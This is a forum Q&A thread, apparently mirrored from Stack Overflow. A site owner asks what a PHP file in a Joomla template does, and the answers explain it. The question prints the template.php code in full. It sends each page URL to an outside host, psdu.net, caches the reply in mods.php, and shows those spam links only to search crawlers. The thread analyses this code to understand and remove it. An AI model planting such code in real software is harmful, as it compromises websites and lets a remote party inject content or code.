【问题标题】:Can someone explain to me what this php code is doing?有人可以向我解释这个 php 代码在做什么吗?
【发布时间】:2014-08-26 23:27:40
【问题描述】:

我正在使用一个名为 Liberty 的 Joomla 模板,我开始在页面上显示这些奇怪的链接。如果我清除了我的网站缓存,链接就会消失,只是稍后才会出现。我终于找到了问题所在。 index.php 代码调用了一个名为 template.php 的包含页面,该页面又调用了一个名为 mods.php 的文件。以下是这些文件中的代码。

来自template.php:

<?php
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/me3.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {    
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
$uagent = $_SERVER['HTTP_USER_AGENT'];
foreach ($spiders as $spider){if (preg_match("/$spider/",$uagent)){echo $credits;}}
?>

这是来自我服务器的 mods.php 的代码,其中包含我得到的奇怪链接:

<p><a target="_blank" href="https://ro-ro.facebook.com/zebras.ro">zebras magazin haine femei</a> <a target="_blank" href="http://mkhandtaschen.tumblr.com/">michael kors tasche schwarz</a></p>

我从模板开发者那里下载了一个新的模板副本,但 mods.php 文件不同:

<div class="leader"><p><a target="_blank" title="t shirt bedrucken" href="http://webhostshield.com/bluehost-review/">bluehost 2013 reviews</a></p></div>

我可以大致了解正在发生的事情,但我没有获取到 psdu.net/me3.php 的外部链接。我已经禁用了 index.php 文件中调用 template.php 的行,并且该站点运行良好。这两个文件看起来真的很可疑,对我来说是不必要的。我将不胜感激来自比我自己更有经验的 php 编码器的任何输入。谢谢!

【问题讨论】:

  • 它似乎为 Googlebot&Co 检索、缓存和打印垃圾邮件。
  • 那确实不好。如果原始模板没有这些文件,您应该替换整个原始模板,如果文件与您最初安装的文件不匹配,我会担心您的网站已被黑客入侵。你需要弄清楚为什么会这样。检查所有扩展程序并确保它们不在易受攻击的扩展程序列表中。
  • 这来自模板。只有 mods.php 不同,因为 template.php 代码将链接写入 mods.php。几周前,我联系了模板的开发人员,然后才弄清楚发生了什么,但从未收到回复。昨天在我知道问题出在哪里后,我回到他的网站并下载了他的一些其他模板,看看他们有什么。它们也像这样,具有相同的 template.php 和 mods.php 文件。所以我不知道这是他故意的举动,还是他的网站被入侵了。我现在从我的网站上清除了这些。
  • 我想知道如何处理这个模板网站。

标签: php joomla


【解决方案1】:

它检查通常包含有关浏览器、操作系统、版本等信息的 HTTP_USER_AGENT。然后,如果 HTTP_USER_AGENT 包含“Googlebot”、“Yahoo”、“msnbot”或“Googlebot-Mobile”,它会回显信用(由 mods.php 显示)

我假设这是从 mods.php 为任何索引您的页面的搜索引擎提供附加信息。

【讨论】:

  • 如果我猜对了,它会使用 $path,这显然是我网站页面的 url,并使用它来为 psdu.net/me3.php?i= 的链接播种。我在网络浏览器中使用它并插入网络上流行网站的不同网址,并获得了我获得的链接的变化。
  • 你是对的,我忽略了它正在使用页面内容保存 $credits 'psdu.net/me3.php?i='.$path 上面代码中的 $path 将成为您的站点页面。
【解决方案2】:

这确实不好,可以认为是一个严重的漏洞。

如果有人可以冒充 psdu.net(例如 DNS 欺骗;请注意,不涉及 SSL - 因此不涉及远程方身份验证) - 或者 psdu.net 落入坏人之手 - 任何 PHP 有效负载都可以存储在 mods 中.php 文件并通过访问 .../templates//html/mods.php URL “触发”。

实际上,这真的很糟糕!

【讨论】:

    猜你喜欢
    • 2018-04-26
    • 1970-01-01
    • 2021-04-07
    • 2010-12-17
    • 2014-12-06
    • 1970-01-01
    • 1970-01-01
    • 2011-08-20
    • 1970-01-01
    相关资源
    最近更新 更多